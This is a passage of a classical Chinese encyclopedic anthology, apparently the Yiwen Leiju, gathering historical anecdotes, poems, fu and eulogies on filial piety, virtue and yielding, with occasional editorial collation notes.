出 . 苞 日 夜 号 泣 不 能 去 . 至 被 驱 杖 . 不 得 已 . 庐 于 舍 外 . 旦 入 而 扫 . 父 怒 . 又 逐 之 . 乃 庐 于 里 门 . 昏 晨 不 废 . 积 岁 余 . 父 母 惭 而 还 之 .\n蜀 志 曰 . 先 主 在 樊 . 率 其 众 南 行 . 诸 葛 亮 与 徐 庶 并 从 . 为 曹 公 所 追 破 . 获 庶 母 . 庶 辞 先 主 而 指 其 心 曰 . 本 欲 与 将 军 共 图 王 霸 之 业 . 以 此 方 寸 心 . 今 已 失 母 . 方 寸 乱 矣 . 无 益 于 事 . 请 于 此 别 . 遂 诣 曹 公 .\n吴 书 曰 . 顾 悌 . 以 孝 悌 廉 正 . 闻 于 乡 党 . 每 得 父 母 书 . 洒 埽 整 衣 服 . 设 几 案 . 舒 书 其 上 . 拜 跪 读 之 . 每 句 应 诺 毕 . 复 再 拜 . 父 有 疾 耗 之 问 . 临 书 垂 泣 哽 噎 . 父 终 . 水 浆 不 入 口 五 日 . 孙 权 为 作 布 衣 一 袭 . 强 令 悌 释 服 . 悌 虽 以 公 义 自 割 . 犹 以 为 不 见 父 丧 . 常 画 壁 作 棺 象 . 设 神 坐 于 下 . 每 对 之 哭 泣 . 服 未 阕 而 卒 . 晋 中 兴 书 曰 . 吴 隐 之 少 有 孝 行 . 遭 母 忧 . 哀 毁 过 礼 . 太 常 韩 康 伯 邻 居 . 隐 之 每 哭 . 康 伯 母 辄 辍 事 流 泪 . 悲 不 自 胜 .\n萧 广 济 孝 子 传 曰 . 妫 皓 父 昆 . 被 劾 入 重 . 皓 年 十 六 . 髡 头 诣 阙 . 通 章 不 省 . 皓 不 饮 食 . 怀 石 腰 中 . 诣 公 卿 . 辄 出 石 置 地 . 叩 头 流 血 覆 面 . 莫 不 伤 怀 . 遂 奏 理 昆 罪 .\n师 觉 授 孝 子 传 曰 . 程 曾 年 七 岁 . 丧 母 . 哀 号 哭 泣 . 不 异 成 人 . 祖 母 怜 之 . 嚼 肉 食 之 . 觉 有 味 . 便 吐 去 .\n宗 躬 孝 子 传 曰 . 吴 坦 之 . 隐 之 兄 也 . 母 葬 夕 . 设 九 饭 祭 . 坦 之 每 临 一 祭 . 辄 号 恸 断 绝 . 至 七 祭 . 吐 血 而 死 .\n又 曰 . 张 景 胤 六 岁 丧 母 . 母 遗 物 悉 散 施 . 唯 留 一 画 扇 . 每 感 思 . 辄 开 匣 流 涕 . 父 邵 为 吴 兴 太 守 . 暴 疾 报 至 . 天 雪 水 涸 . 便 徒 跣 上 岸 . 左 右 捉 履 靺 逐 . 发 都 . 夜 昼 三 日 半 至 郡 . 入 郭 奉 讳 . 气 绝 吐 血 . 久 乃 苏 .\n又 曰 . 华 宝 八 岁 . 义 熙 中 . 父 从 军 . 语 宝 曰 . 吾 还 . 当 营 婚 冠 . 值 咸 阳 丧 乱 . 吉 凶 两 绝 . 宝 年 六 十 . 遂 不 冠 娶 . 举 言 流 涕 .\n又 曰 . 何 子 平 事 母 至 孝 . 为 杨 州 从 事 . 月 俸 得 白 米 . 辄 货 市 粟 麦 . 人 或 问 之 . 答 曰 . 尊 老 在 东 . 不 办 常 得 米 . 何 容 独 食 白 粲 . 母 丧 . 年 将 六 十 . 有 孺 . 子 之 慕 . 昼 夜 号 叫 . 暑 避 清 凉 . 冬 不 衣 絮 .\n又 曰 . 桑 虞 丧 父 . 年 十 四 . 毁 瘠 过 礼 . 日 食 百 粒 . 以 糁 藜 藿 .\n续 搜 神 记 曰 . 吴 猛 性 至 孝 . 小 儿 时 . 在 父 母 边 卧 . 时 夏 月 . 多 蚊 虻 . 而 终 不 摇 扇 . 云 惧 蚊 虻 去 我 及 父 母 . 父 母 终 . 行 服 墓 次 . 蜀 贼 纵 暴 . 焚 烧 邑 屋 . 发 掘 丘 陇 . 民 人 迸 窜 . 猛 在 墓 侧 . 号 恸 不 去 . 贼 为 之 感 怆 . 遂 不 犯 .\n荀 氏 家 传 曰 . 荀 顗 年 逾 耳 顺 . 而 母 年 九 十 . 色 养 烝 烝 . 以 孝 闻 . 在 丧 憔 悴 . 貌 不 可 识 . 若 婴 孺 之 号 . 哀 恸 傍 人 .\n【 诗 】 魏 王 粲 思 亲 诗 曰 . 穆 穆 显 妣 . 德 音 徽 止 . 思 齐 先 姑 . 志 侔 姜 姒 . 躬 此 劳 瘁 . 鞠 予 小 子 . 小 子 之 生 . 遭 世 罔 宁 . 烈 考 勤 时 . 从 之 于 征 . 奄 遘 不 造 . 隐 忧 是 婴 . 咨 予 靡 及 . 退 守 祧 祊 .\n晋 孙 绰 表 哀 诗 曰 . 天 地 之 德 曰 生 . 生 之 所 恃 者 亲 . 亲 存 则 欢 泰 情 尽 . 亲 亡 则 哀 悴 理 极 . 故 老 莱 婆 娑 于 膝 下 . 曾 闵 泣 血 于 终 年 . 哀 悼 之 思 至 矣 . 自 然 之 性 笃 矣 . 余 以 薄 祜 . 夙 遭 闵 凶 . 越 在 九 龄 . 严 考 即 世 . 未 及 志 学 . 过 庭 无 闻 . 天 覆 既 沦 . 俯 凭 坤 厚 . 殖 根 外 氏 . 赖 以 成 训 . 然 以 不 才 . 不 能 负 荷 仁 妣 . 弘 母 仪 之 德 . 迈 荣 寒 之 操 . 雕 琢 固 顽 . 勉 以 道 义 . 庶 几 砥 砺 犬 马 之 报 . 岂 悟 一 朝 . 复 见 孤 弃 . 上 天 极 祸 . 怨 痛 莫 诉 . 皆 由 恶 积 咎 深 . 不 能 通 感 . 自 丁 荼 毒 . 载 离 寒 暑 . 茵 帷 尘 寂 . 栋 宇 寥 恍 . 仰 悲 轨 迹 . 长 自 矜 悼 . 不 胜 哀 号 . 作 诗 一 首 . 敢 冒 谅 闇 之 讥 . 以 申 罔 极 之 痛 . 诗 曰 . 茫 茫 太 极 . 赋 授 理 殊 . 咨 生 不 辰 . 仁 考 夙 徂 . 微 微 冲 弱 . 眇 眇 偏 孤 . 叩 心 昊 苍 . 痛 贯 黄 墟 . 肃 我 以 义 . 鞠 我 以 仁 . 严 迈 商 风 . 恩 洽 阳 春 . 昔 闻 邹 母 . 勤 教 善 分 . 懿 矣 慈 妣 . 旷 世 齐 运 . 嗟 予 小 子 . 譬 彼 土 粪 . 俯 愧 陋 质 . 仰 忝 高 训 . 悠 悠 玄 运 . 四 气 错 序 . 自 我 酷 痛 . 载 离 寒 暑 . 寥 寥 空 堂 . 寂 寂 响 户 . 尘 蒙 几 筵 . 风 生 栋 宇 . 感 昔 有 恃 . 望 晨 迟 颜 . 婉 娈 怀 袖 . 极 愿 尽 欢 . 奈 何 兹 妣 . 归 体 幽 埏 . 酷 矣 痛 深 . 剖 髓 摧 肝 .\n晋 夏 侯 湛 离 亲 咏 曰 . 剖 符 兮 南 荆 . 辞 亲 ○ 亲 下 明 本 有 了 字 . 当 作 兮 . 此 脱 . 遐 征 . 发 轫 兮 皇 京 . 夕 臻 兮 泉 亭 . 抚 首 兮 内 顾 . 按 辔 兮 安 步 . 仰 恋 兮 后 涂 . 俯 叹 兮 前 路 . 既 感 物 以 永 思 兮 . 且 归 身 乎 怀 抱 . 苟 违 亲 以 从 利 兮 . 匪 曾 闵 之 攸 宝 . 视 微 荣 之 琐 琐 兮 . 知 吾 志 之 愈 小 . 独 申 愧 于 一 心 兮 . 惭 报 德 之 弥 少 .\n【 赋 】 魏 陈 思 王 曹 植 怀 亲 赋 曰 . 济 阳 南 泽 . 有 先 帝 故 营 . 遂 停 马 住 驾 . 造 斯 赋 焉 . 獦 平 原 而 南 骛 . 睹 先 帝 之 旧 营 . 步 壁 垒 之 常 制 . 识 旌 麾 之 所 停 . 在 官 曹 之 典 列 . 心 髣 佛 于 平 生 . 回 骥 首 而 永 逝 . 赴 脩 涂 以 寻 远 . 情 眷 眷 而 顾 怀 . 魂 须 臾 而 九 反 .\n晋 陆 机 祖 德 赋 曰 . 咨 时 文 之 懿 祖 . 膺 降 神 之 灵 曜 . 栖 九 德 以 弘 道 . 振 风 烈 以 增 劭 . 彼 刘 公 之 矫 矫 . 固 云 网 之 逸 禽 . 既 凭 形 以 傲 物 . 谅 傅 翼 而 栖 林 . 伊 我 公 之 秀 武 . 思 无 幽 而 弗 昶 . 形 鲜 烈 于 怀 霜 . 泽 温 惠 乎 挟 纩 . 牧 希 世 之 洪 捷 . 固 山 谷 而 为 量 . 西 夏 坦 其 无 尘 . 帝 命 赫 而 大 壮 . 登 具 瞻 于 太 阶 . 濯 长 缨 乎 天 汉 . 解 戎 衣 以 高 揖 . 正 端 冕 而 大 观 . 戢 灵 武 于 既 曜 . 恢 时 文 于 未 焕 . 腾 绝 风 以 逸 骛 . 庶 遐 踪 于 公 旦 .\n又 述 先 赋 曰 . 仰 先 后 之 显 烈 . 懿 晖 祚 之 允 辑 . 应 远 期 于 已 旷 . 昭 前 光 于 未 戢 . 抱 朗 节 以 遐 慕 . 振 奇 迹 而 峻 立 . 在 虐 臣 之 贪 祸 . 据 西 山 而 作 违 . 招 长 毂 于 河 畔 . 饮 冀 马 乎 江 湄 . 顿 云 网 而 潜 泳 . 挥 神 戈 而 外 临 . 敌 罔 隆 而 弗 夷 . 逆 无 微 而 不 禽 . 茂 德 韡 其 既 休 . 元 勋 晔 而 荐 举 . 袭 衮 服 于 太 阶 . 配 三 台 乎 其 所 是 . 故 其 生 也 荣 . 虽 万 物 咸 被 其 仁 . 其 亡 也 哀 . 虽 天 网 犹 失 其 纲 . 婴 国 命 以 逝 止 . 亮 身 没 而 吴 亡 .\n又 思 亲 赋 曰 . 悲 桑 梓 之 悠 旷 . 愧 蒸 尝 之 弗 营 . 指 南 云 以 寄 款 . 望 归 风 而 效 诚 . 年 岁 俄 其 聿 暮 . 明 星 烂 而 将 清 . 回 飙 肃 以 长 赴 . 零 雪 纷 其 下 颓 . 羡 纤 枝 之 在 干 . 悼 落 叶 之 去 枚 . 在 顾 复 之 遗 忘 . 感 明 发 之 所 怀 . 居 辞 安 而 厌 苦 . 养 引 约 而 摧 丰 . 忘 天 命 之 晚 慕 . 愿 鞠 子 之 速 融 . 兄 琼 芳 而 蕙 茂 . 弟 兰 发 而 玉 晖 . 感 瑰 姿 之 晚 就 . 痛 慈 景 之 先 违 . 天 步 悠 长 . 人 道 短 矣 . 异 途 同 归 . 无 早 晚 矣 .\n晋 刘 柔 妻 王 氏 怀 思 赋 曰 . 超 离 亲 而 独 寄 . 与 忧 愤 而 长 俱 . 虽 亮 分 以 自 勉 . 曾 无 闻 乎 须 臾 . 思 遥 遥 而 忡 惙 . 疾 结 滞 乎 肌 肤 . 忆 昔 日 之 欢 侍 . 奉 膝 下 而 怡 裕 . 集 同 生 而 从 容 . 常 欣 泰 以 逸 豫 . 何 运 遇 之 偏 否 . 独 辽 隔 于 脩 路 . 何 恒 鸟 之 将 分 . 犹 哀 鸣 以 告 离 . 况 游 子 之 眷 慕 . 孰 殷 思 之 可 靡 . 于 是 仲 秋 萧 索 . 蓐 收 西 御 . 寒 露 宵 零 . 落 叶 晨 布 . 羡 归 鸿 之 提 提 . 振 轻 翼 而 高 举 . 志 眇 眇 而 远 驰 . 悲 离 思 而 呜 咽 . 彼 迈 物 而 推 移 . 何 予 思 之 难 泄 . 聊 揽 翰 以 寄 怀 . 怅 辞 鄙 而 增 结 .\n宋 谢 灵 运 孝 感 赋 曰 . 举 高 墙 于 杨 潭 . 眇 投 迹 于 炎 州 . 贯 庐 江 之 长 路 . 出 彭 蠡 而 南 浮 . 于 时 月 孟 节 季 . 岁 亦 告 暨 . 离 乡 眷 壤 . 改 时 怀 气 . 恋 丘 坟 而 萦 心 . 忆 桑 梓 而 零 泪 . 孟 积 雪 而 抽 笋 . 王 斫 冰 以 鲙 鲜 . 荑 葇 叶 于 枯 木 . 起 春 波 于 寒 川 . 顾 微 心 之 庸 褊 . 谢 精 灵 于 昭 晰 . 拥 永 慕 而 莫 从 . 曾 遐 感 而 靡 彻 .\n梁 武 帝 孝 思 赋 曰 . 念 过 隙 之 倏 忽 . 悲 逝 川 之 不 停 . 践 霜 露 而 凄 怆 . 怀 燧 谷 而 涕 零 . 仲 由 念 枯 鱼 而 永 慕 . 吾 丘 感 风 树 而 长 悲 . 虽 一 志 而 舍 生 . 奉 二 亲 而 何 期 . 至 如 献 岁 发 挥 . 春 日 载 阳 . 木 散 百 华 . 草 列 众 芳 . 对 乐 时 而 无 欢 . 乃 触 目 而 感 伤 . 朱 明 启 节 . 白 日 朝 临 . 木 低 甘 果 . 树 接 清 阴 . 不 娱 悦 于 怀 抱 . 唯 罔 极 而 缠 心 . 寒 冰 已 结 . 寒 条 已 折 . 旅 雁 鸣 而 哀 哀 . 朔 风 鼓 而 烈 烈 . 无 一 息 而 缓 念 . 与 四 时 而 长 切 . 蒹 葭 苍 苍 . 白 露 为 霜 . 凉 气 入 衣 . 凄 风 动 裳 . 心 无 迫 而 自 切 . 情 不 触 而 独 伤 . 灵 蛇 衔 珠 以 酬 志 . 慈 乌 反 哺 以 报 亲 . 在 虫 鸟 其 犹 尔 . 况 三 才 之 令 人 .\n【 颂 】 后 汉 蔡 邕 祖 德 颂 曰 . 昔 文 王 始 受 命 . 武 王 定 祸 乱 . 至 于 成 王 . 太 平 乃 洽 . 祥 瑞 必 降 . 夫 岂 后 德 隆 渐 . 浸 之 所 通 也 . 是 以 易 嘉 积 善 有 余 庆 . 诗 称 子 孙 其 保 之 . 非 特 王 道 然 也 . 贤 人 君 子 . 脩 仁 履 德 者 . 亦 其 有 焉 . 昔 我 烈 祖 . 暨 于 予 考 . 世 载 孝 友 . 重 以 明 德 . 率 礼 莫 违 . 是 以 灵 祇 降 之 休 瑞 . 兔 扰 驯 以 昭 其 仁 . 木 连 理 以 象 其 义 . 斯 乃 祖 祢 之 遗 灵 . 盛 德 之 所 贶 也 . 岂 是 童 蒙 孤 稚 所 克 任 哉 . 穆 穆 我 祖 . 世 笃 其 仁 . 其 德 克 明 . 惟 懿 惟 醇 . 宣 慈 惠 和 . 无 竞 伊 人 . 岩 岩 我 考 . 莅 之 以 庄 . 增 崇 丕 显 . 克 构 其 堂 . 是 用 祚 之 . 休 征 惟 光 . 厥 征 伊 何 . 于 昭 于 今 . 园 有 甘 棠 . 别 干 同 心 . 坟 有 扰 兔 . 宅 我 柏 林 . 神 不 可 诬 . 伪 不 可 加 . 析 薪 之 业 . 畏 不 克 荷 . 矧 贪 灵 贶 . 以 为 己 华 . 惟 予 小 子 . 岂 不 是 欲 . 于 有 先 功 . 匪 荣 伊 辱 .\n晋 庾 峻 祖 德 颂 曰 . 思 文 我 祖 . 降 兹 岳 灵 . 绵 绵 之 迹 . 时 惟 初 生 . 天 难 忱 斯 . 骏 命 靡 常 . 世 祚 中 衰 . 官 族 消 亡 . 念 昔 厎 绩 . 惟 乃 旧 章 . 烈 祖 勤 止 . 其 德 允 荒 . 汉 后 不 辟 . 公 族 剥 乱 . 难 起 萧 墙 . 政 由 竖 官 . 监 彼 天 眚 . 我 不 干 时 . 纵 德 遗 宠 . 显 志 遁 思 . 均 乐 公 侯 . 逸 豫 无 期 . 烈 祖 厎 戒 . 营 兹 垣 墉 . 曾 孙 笃 之 . 永 世 攸 同 .\n【 赞 】 晋 夏 侯 湛 闵 子 骞 赞 曰 . 圣 既 拟 天 . 贤 亦 希 圣 . 蒸 蒸 子 骞 . 立 体 忠 正 . 干 禄 辞 亲 . 事 亲 尽 敬 . 勉 心 景 迹 . 擢 辞 流 咏 .\n梁 元 帝 孝 德 传 皇 王 篇 赞 曰 . 天 子 之 孝 . 曰 圣 与 仁 . 重 瞳 表 德 . 参 漏 通 神 . 皇 矣 高 祖 . 连 镳 舜 禹 . 天 经 地 义 . 重 规 沓 矩 . 道 逾 七 十 . 声 超 三 五 .\n又 孝 德 传 天 性 篇 赞 曰 . 生 之 育 之 . 长 之 畜 之 . 顾 我 复 我 . 答 施 何 时 . 欲 报 之 德 . 不 可 方 思 . 涓 尘 之 孝 . 河 海 之 慈 . 废 书 叹 息 . 泣 下 涟 洏 .\n【 序 】 梁 元 帝 孝 德 传 序 曰 . 夫 天 经 地 义 . 圣 人 不 加 .\n原 始 要 终 . 莫 逾 孝 道 . 能 使 甘 泉 自 涌 . 邻 火 不 焚 . 地 出\n黄 金 . 天 降 神 女 . 感 通 之 至 . 良 有 可 称 .\n人 部 五 德 让 智 性\n命 友 悌 交 友 绝 交\n又 曰 . 见 龙 在 田 . 德 施 普 也 .\n尚 书 曰 . 惟 德 动 天 . 无 远 不 届 .\n又 曰 . 皋 陶 迈 种 德 . 德 乃 降 .\n左 传 曰 . 君 人 者 . 将 昭 德 塞 违 . 以 临 照 百 官 .\n又 曰 . 故 昭 令 德 . 以 示 子 孙 .\n又 曰 . 官 之 失 德 . 宠 赂 彰 也 .\n又 曰 . 夫 德 . 俭 而 有 度 .\n又 曰 . 楚 子 问 鼎 大 小 轻 重 焉 . 王 孙 满 对 曰 . 德 之 休 明 . 虽 小 重 也 .\n又 曰 . 德 以 柔 中 国 .\n毛 诗 曰 . 德 輶 如 毛 . 民 鲜 克 举 之 .\n孝 经 曰 . 先 王 有 至 德 要 道 .\n又 曰 . 圣 人 之 德 . 无 以 加 于 孝 乎 .\n论 语 曰 . 为 政 以 德 . 譬 如 北 辰 .\n又 曰 . 德 行 颜 渊 闵 子 骞 .\n又 曰 . 有 德 者 不 必 有 言 . 有 言 者 不 必 有 德 .\n又 曰 . 君 子 之 德 风 . 小 人 之 德 草 .\n又 曰 . 骥 不 称 其 力 . 称 其 德 也 .\n老 子 曰 . 上 德 不 德 . 是 以 有 德 . 下 德 不 失 德 . 是 以 无 德 .\n文 子 曰 . 川 广 者 鱼 大 . 地 广 者 德 厚 .\n盐 铁 论 曰 . 以 道 德 为 城 . 以 仁 义 为 郭 .\n又 曰 . 以 道 德 为 胄 . 以 仁 义 为 剑 .\n吕 氏 春 秋 曰 . 宋 景 公 时 . 荧 惑 在 心 . 公 问 子 韦 . 对 曰 . 祸 在 君 . 可 移 宰 相 . 公 曰 . 宰 相 所 与 治 国 也 . 曰 . 移 于 民 . 公 曰 . 民 死 . 谁 与 为 君 . 曰 . 移 于 岁 . 曰 . 岁 饥 . 民 必 死 . 子 韦 曰 . 天 处 高 而 听 卑 . 君 有 至 德 之 言 三 . 天 必 赏 君 . 荧 惑 果 徙 三 舍 已 具 天 部 星 篇 .\n汉 书 曰 . 有 阴 德 者 . 天 报 以 福 .\n汉 杂 事 曰 . 太 史 言 . 有 德 星 见 . 当 有 英 才 贤 德 同 游 者 . 诏 下 诸 郡 县 问 . 颍 川 郡 上 事 曰 . 有 陈 太 丘 父 子 三 人 . 俱 共 会 社 .\n东 观 汉 记 曰 . 张 堪 为 冯 翊 . 见 府 寺 门 即 下 . 主 簿 进 曰 . 位 尊 德 重 . 不 宜 自 轻 . 堪 曰 . 礼 下 公 门 . 何 谓 轻 哉 .\n荀 氏 家 传 曰 . 荀 彧 德 行 周 备 . 其 所 规 . 以 圣 人 为 度 .\n海 内 先 贤 传 曰 . 黄 宪 动 则 蹈 规 矩 . 言 则 发 德 音 .\n【 颂 】 晋 左 九 嫔 德 柔 颂 曰 . 邈 邈 德 柔 . 越 天 之 刚 . 神 以 知 来 . 智 以 藏 往 . 含 纯 溥 生 . 允 矣 君 子 . 展 也 大 成 . 执 德 纯 粹 . 岳 峻 川 渟 . 履 行 高 厉 . 荡 乎 其 平 . 敦 兴 圣 道 . 率 正 不 倾 . 令 问 不 已 . 载 路 厥 声 .\n【 赞 】 又 德 刚 赞 曰 . 温 温 德 刚 . 寔 秉 道 纯 . 履 此 圣 义 . 体 此 敦 仁 . 笃 物 博 好 . 靡 疏 靡 亲 . 九 族 怀 附 . 邦 邑 望 尘 . 贵 实 贱 华 . 尚 素 安 贫 . 虽 在 崇 高 . 必 若 平 民 . 匪 道 之 荣 . 譬 之 生 民 . 褒 饰 之 誉 . 谓 之 谤 身 . 惟 义 是 存 . 惟 道 是 遵 .\n【 序 】 梁 元 帝 全 德 志 序 曰 . 老 子 言 全 德 归 厚 . 庄 周 云 全 德 不 刑 . 吕 览 称 全 德 之 人 . 故 以 全 德 创 其 名 也 . 此 志 隆 ○ 按 隆 当 作 陆 . 所 云 宝 剑 . 鼓 瑟 . 公 侯 踞 掌 . 要 荒 厥 角 . 皆 陆 贾 事 . 见 史 记 贾 传 . 大 夫 为 首 . 伊 人 有 学 有 辩 . 不 天 . ○ 按 贾 传 云 陆 生 竟 以 寿 终 . 是 天 当 作 夭 . 不 贫 . 宝 剑 在 前 . 鼓 瑟 从 后 . 连 环 炙 輠 . 雍 容 卒 岁 . 驷 马 高 车 . 优 游 宴 喜 . 既 令 公 侯 踞 掌 . 复 使 要 荒 蹶 角 . 入 室 生 光 . 岂 非 盛 矣 . 若 乃 河 宗 九 策 . 事 等 神 钩 . 阳 雍 双 璧 . 理 归 玄 感 . 南 阳 樊 重 . 高 阁 连 云 . 北 海 公 沙 . 门 人 成 市 . 咨 此 八 龙 . 各 传 一 艺 . 夹 河 两 郡 . 家 有 万 石 . 人 生 行 乐 . 上 ○ 疑 当 作 止 . 足 为 先 . 但 使 樽 酒 不 空 . 坐 客 恒 满 . 宁 与 孟 尝 问 琴 . 承 睫 泪 下 . 中 山 听 息 . 悲 不 自 禁 . 同 年 而 语 也 .\n【 论 】 梁 元 帝 全 德 志 论 曰 . 物 我 俱 忘 . 无 贬 廊 庙 之 器\n. 动 寂 同 遣 . 何 累 经 纶 之 才 . 虽 坐 三 槐 . 不 妨 家 有 三 径\n. 接 五 侯 . 不 妨 门 垂 五 柳 . 但 使 良 园 广 宅 . 面 水 带 山 .\n饶 甘 果 而 足 花 卉 . 葆 筠 篁 而 玩 鱼 鸟 . 九 月 肃 霜 . 时 飨 田\n畯 . 三 春 捧 . 乍 酬 蚕 妾 . 酌 升 酒 而 歌 南 山 . 烹 羔 豚 而\n击 西 缶 . 或 出 或 处 . 并 以 全 身 为 贵 . 优 之 游 之 . 咸 以 忘\n怀 自 逸 . 若 此 众 君 子 . 可 谓 得 之 矣 .\n周 官 大 司 徒 职 曰 . 以 阳 礼 教 让 . 则 民 不 争 .\n礼 记 曰 . 君 子 恭 敬 樽 节 退 让 以 明 礼 .\n又 曰 . 子 云 . 觞 酒 豆 肉 . 让 而 受 恶 . 民 犹 犯 齿 . 衽 席 之 上 . 让 而 坐 下 . 民 犹 犯 贵 . 朝 庭 之 位 . 让 而 就 贱 . 民 犹 犯 忠 .\n又 曰 . 君 子 贵 人 而 贱 己 . 先 人 而 后 己 . 则 民 作 让 .\n又 曰 . 天 子 有 善 . 让 德 于 天 . 诸 侯 有 善 . 归 诸 天 子 .\n左 传 曰 . 宋 穆 公 疾 . 召 大 司 马 孔 父 而 属 殇 公 焉 . 曰 . 先 君 舍 与 夷 而 立 寡 人 . 若 弃 德 不 让 . 是 废 先 君 之 举 也 . 岂 曰 能 贤 .\n又 曰 . 齐 侯 使 管 夷 吾 平 戎 于 晋 . 王 使 隰 朋 平 戎 于 晋 . 王 以 上 卿 之 礼 飨 管 仲 . 辞 曰 . 臣 贱 有 司 也 . 有 天 子 之 守 国 高 在 . 若 节 春 秋 . 来 承 王 命 . 何 以 礼 焉 . 陪 臣 敢 辞 . 王 曰 . 舅 氏 . 余 嘉 乃 勋 . 应 乃 懿 德 . 谓 督 不 忘 . 往 践 乃 职 . 管 仲 受 下 卿 之 礼 而 还 . 君 子 曰 . 管 氏 之 世 祀 也 . 宜 哉 . 让 不 忘 其 上 .\n又 曰 . 让 礼 之 主 也 . 范 宣 子 让 . 其 下 皆 让 .\n论 语 曰 . 子 曰 . 太 伯 三 以 天 下 让 . 民 无 得 而 称 焉 .\n孝 经 曰 . 先 之 以 敬 让 . 而 民 不 争 .\n家 语 曰 . 虞 芮 二 国 争 田 而 讼 . 连 年 不 决 . 相 谓 曰 . 西 伯 仁 人 也 . 盍 往 质 焉 . 入 其 境 . 则 耕 者 让 畔 . 行 者 让 路 . 入 其 朝 . 则 士 让 为 大 夫 . 大 夫 让 为 卿 . 虞 芮 之 君 曰 . 吾 侪 小 人 . 不 可 以 入 君 子 之 朝 . 事 具 产 业 部 田 篇 .\n周 书 曰 . 汤 放 桀 于 亳 . 三 千 诸 侯 大 会 . 汤 取 天 子 之 玺 . 置 之 天 子 之 坐 . 再 拜 . 从 诸 侯 之 位 . 汤 曰 . 此 天 子 之 位 . 有 道 者 可 以 处 之 . 三 让 三 千 诸 侯 . 诸 侯 莫 敢 即 位 . 然 后 汤 即 天 子 之 位 .\n慎 子 曰 . 尧 让 许 由 . 舜 让 善 卷 . 皆 辞 为 天 子 . 而 退 为 疋 夫 .\n列 子 曰 . 昔 尧 舜 伪 以 天 下 让 许 由 善 卷 . 而 不 失 天 下 . 伯 夷 叔 齐 . 实 以 孤 竹 让 . 而 终 忘 其 国 .\n庄 子 曰 . 尧 以 天 下 让 许 由 . 曰 . 日 月 出 矣 . 而 爝 火 不 息 . 其 于 光 也 . 不 亦 难 乎 . 时 雨 降 矣 . 而 犹 浸 灌 . 其 于 泽 也 . 不 亦 劳 乎 .\n山 海 经 曰 . 君 子 国 民 . 衣 冠 带 剑 . 土 方 千 里 . 多 薰 华 之 草 . 好 让 . 故 为 君 子 国 .\n史 记 曰 . 太 伯 虞 仲 . 知 古 公 欲 立 季 历 以 传 昌 . 乃 亡 如 荆 蛮 . 文 身 断 发 . 以 让 季 历 .\n又 曰 . 太 尉 周 勃 立 代 王 . 代 王 曰 . 奉 高 帝 宗 庙 事 重 . 寡 人 不 佞 . 不 足 以 称 . 寡 人 不 敢 当 . 群 臣 皆 伏 . 固 请 . 代 王 西 向 让 者 三 . 南 向 让 者 再 . 事 具 帝 王 部 . 又 曰 . 鲁 连 既 说 秦 军 . 秦 军 为 却 . 平 原 君 欲 封 鲁 连 . 鲁 连 辞 谢 者 三 . 终 不 肯 受 . 平 原 乃 置 酒 . 酒 酣 起 前 . 以 千 金 为 鲁 连 寿 . 连 叹 曰 . 所 贵 天 下 之 士 者 . 为 人 排 患 释 难 解 纷 而 无 所 取 也 . 即 有 取 者 . 是 商 贾 之 事 . 连 不 忍 为 也 . 遂 辞 而 去 . 终 身 不 复 见 . 事 具 隐 逸 部 .\n又 曰 . 董 偃 与 馆 陶 主 家 儿 博 戏 殿 下 . 主 伏 槛 观 之 . 偃 负 财 ○ 太 平 御 览 四 百 二 十 三 作 则 . 饶 人 . 胜 则 有 让 . 主 益 奇 之 .\n又 曰 . 伯 夷 叔 齐 . 孤 竹 君 之 子 也 . 父 欲 立 叔 齐 . 及 卒 . 齐 乃 让 伯 夷 . 伯 夷 曰 . 父 命 也 . 遂 逃 去 .\n又 曰 . 吴 王 诸 樊 元 年 . 已 除 丧 . 让 位 季 札 . 季 札 弃 室 而 耕 . 乃 舍 之 . 事 具 隐 逸 篇 .\n汉 书 曰 . 金 日 磾 在 武 帝 左 右 . 属 霍 光 以 辅 少 主 . 光 让 日 磾 . 日 磾 曰 . 臣 外 国 人 . 且 使 匈 奴 轻 汉 . 于 是 遂 为 光 副 .\n又 曰 . 文 帝 初 立 . 以 陈 平 为 相 . 太 尉 周 勃 . 亲 以 兵 诛 吕 氏 . 功 多 . 平 欲 让 勃 位 . 迺 谢 病 . 文 帝 . 平 曰 . 高 帝 时 . 勃 功 不 如 臣 . 及 诛 诸 吕 . 臣 功 亦 不 如 勃 . 愿 以 相 让 勃 .\n又 曰 . 韦 贤 薨 . 子 玄 成 当 为 嗣 . 玄 成 心 知 其 ○ 太 平 御 览 四 百 二 十 三 其 下 有 兄 字 . 非 贤 . 即 阳 为 病 狂 . 卧 便 利 . 妄 哭 语 . 既 葬 . 当 袭 爵 . 以 病 狂 不 应 . 大 鸿 胪 奏 状 . 章 下 丞 相 御 史 案 验 . 玄 成 素 有 名 声 . 士 大 夫 多 疑 其 欲 让 爵 于 兄 . 丞 相 御 史 遂 以 玄 成 实 不 病 劾 奏 之 . 有 诏 勿 劾 . 引 拜 . 玄 成 不 得 已 . 受 侯 爵 . 事 具 封 爵 部 .\n又 曰 . 龚 遂 为 渤 海 太 守 . 数 年 . 上 遣 使 者 征 遂 . 议 曹 王 生 愿 从 太 守 会 . 遂 引 入 宫 . 王 生 醉 . 从 呼 曰 . 愿 有 所 白 . 遂 问 其 故 . 王 生 曰 . 天 子 即 问 君 何 以 治 渤 海 . 君 不 可 有 所 陈 . 宜 曰 . 皆 圣 主 之 德 . 非 小 臣 之 力 也 . 上 果 问 以 治 状 . 遂 对 如 王 生 言 . 天 子 悦 其 有 让 . 叹 曰 . 君 安 得 长 者 之 言 而 称 之 . 遂 因 前 曰 . 臣 非 有 知 . 此 乃 臣 议 曹 教 戒 臣 也 .\n东 观 汉 记 曰 . 承 宫 遭 王 莽 篡 位 . 天 下 扰 攘 . 盗 贼 并 起 . 宫 遂 避 世 汉 中 . 建 武 四 年 . 将 妻 子 之 华 阴 山 谷 . 耕 种 禾 黍 . 临 熟 . 人 就 认 之 . 宫 悉 推 与 而 去 . 由 是 显 名 .\n又 曰 . 上 封 朱 佑 . 佑 自 陈 功 薄 而 国 大 . 愿 受 南 阳 五 百 户 足 矣 . 上 不 许 .\n又 曰 . 窦 融 . 光 武 时 数 辞 爵 位 . 因 上 疏 曰 . 臣 融 年 五 十 三 . 有 一 子 . 年 十 五 . 质 性 顽 钝 . 臣 融 朝 夕 教 导 以 经 艺 . 不 得 令 观 天 文 . 见 谶 记 . 诚 欲 令 恭 肃 畏 事 . 恂 恂 脩 道 . 不 显 其 有 才 能 . 何 况 乃 当 传 以 连 城 广 土 . 享 侯 国 哉 .\n又 曰 . 邓 . 永 初 元 年 . 封 等 . 以 定 策 增 三 千 户 . 让 不 获 . 遂 逃 避 使 者 . ● 关 上 疏 自 陈 . 又 曰 . 欧 阳 